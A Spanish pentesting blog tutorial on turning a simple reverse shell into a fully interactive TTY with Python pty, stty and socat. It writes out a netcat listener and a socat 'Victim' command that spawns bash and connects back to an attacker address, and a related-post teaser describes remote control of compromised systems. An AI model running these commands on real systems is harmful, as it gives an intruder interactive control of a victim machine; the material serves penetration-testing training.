Saltar al contenido
Volver al Blog

tutoriales · 2 min de lectura

Cómo conseguir shell TTY totalmente interactiva

Guía práctica para convertir una shell reversa básica en una TTY completamente interactiva: manejo de Ctrl-C, historial, flechas y comandos como su/sudo. Incluye métodos con Python y socat.

· Manuel López Pérez · tutoriales

Guía práctica para convertir una shell reversa básica en una TTY completamente interactiva: manejo de Ctrl-C, historial, flechas y comandos como su/sudo. Incluye métodos con Python y socat.

En este post veremos cómo conseguir una terminal tty totalmente interactiva desde una shell simple. Todo pentester sabe que la sensación cuando se consigue shell reversa (Cheat-Sheet) es muy satisfactoria.

También muchos sabemos faena que supone perder la shell por correr un comando erróneo e intuitivamente pulsa ‘Ctrl-C’

Es realmente incomodo trabajar con terminales no interactivas, además de no manejar correctamente SIGINT (Ctrl-C) , estas terminales tienen también otros problemas:

  • STDERR normalmente no se muestra
  • No hay historial en la tecla de flecha arriba
  • Etc…

Esta guía esta basada en https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/ y nuestra experiencia en el mundillo.

Método 1

En la escucha nc -lvp 1234, usando la shell mas apropiada para cada situación conseguimos reversa:

Uno de los comandos mas conocidos es:

python -c 'import pty; pty.spawn("/bin/bash")'

Quizás en alguna maquina el comando ‘python’ no funciona, en estos casos buscad si hay otras versiones de python instaladas, igual hay suerte.

Este comando nos permite teniendo una shell ‘muda’, generar una Pseudo-terminal que engañara a comandos como su para que piense que están siendo ejecutados en una terminal adecuada. Para poder usar ‘clear’ podemos añadir:

export TERM=screen-256color

Pero esto no nos soluciona el problema del CTRL-C. Para conseguir que nuestra shell no se cierre con CTRL-C y podamos hacer cosas como usar la teclas flecha, debemos:

 [Ctrl Z] echo $TERM stty raw -echo fg [INTRO] export TERM=screen

Al escribir el comando ‘stty raw -echo’ nuestra terminal se vera rara, solo tenemos que escribir ‘fg’ y darle a INTRO para volver a la shell (en el GIF no sale el ‘fg’). Ya podemos usar Ctrl-C, flechas, etc. Probadlo!

Método 2: Usando socat

Socat es como netcat pero mas potente, puede usarse para conseguir TTY completamente interactivas desde conexiones TCP.

Si tienes la suerte de que socat esta instalado en la maquina objetivo, este método es mas sencillo que el anterior:

Listener:

socat file:'tty',raw,echo=0 tcp-listen:4444

Victim:

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.10.10:4444

Si socat no esta instalado, no esta todo perdido, podéis descargar este y otros muchos binarios desde este repositorio: https://github.com/andrew-d/static-binaries

Herramientas: Ncat Referencias: https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/

Volver al Blog

Posts Relacionados

Ver Todos los Posts »
Control remoto de un sistema desde un Telegram-Bot

tutoriales · 4 min

Control remoto de un sistema desde un Telegram-Bot

Guía para crear un bot de Telegram que permita controlar remotamente un sistema Linux comprometido: ejecución de comandos, enumeración, capturas de pantalla y encriptación de archivos. Incluye instalación y uso de ironHackers-Bot-Telegram.

· Pablo Plaza Martínez

ByBit, un año después: clear signing, Guardrail y EIP-7702 — qué cambió en el ecosistema multi-sig

tutoriales · 16 min

ByBit, un año después: clear signing, Guardrail y EIP-7702 — qué cambió en el ecosistema multi-sig

El 21 de febrero de 2026 cumple un año el hack ByBit. Solo el 3,5 % de los $1.5B se ha congelado. Lo que sí cambió: Safe lanza Guardrail (agosto-2025) bloqueando DELEGATECALL no autorizado, EIP-7702 entra a mainnet con Pectra (mayo-2025), Ethereum Foundation toma el relevo de ERC-7730 desde Ledger y arrastra a Trezor / MetaMask / WalletConnect a un estándar abierto de clear signing. PoC actualizado en Sepolia que compara firma con y sin Guardrail+clear signing.

· Manuel López Pérez

Retrospectiva cyber 2025: cuatro casos que explican el año

tutoriales · 10 min

Retrospectiva cyber 2025: cuatro casos que explican el año

ByBit, la wave UK retail (M&S/Co-op/Harrods), SharePoint ToolShell y Windows 10 end-of-support. Cuatro incidentes con criterio explícito — no top exhaustivo, no ranking — y la lección operativa que cada uno deja para 2026.

· Manuel López Pérez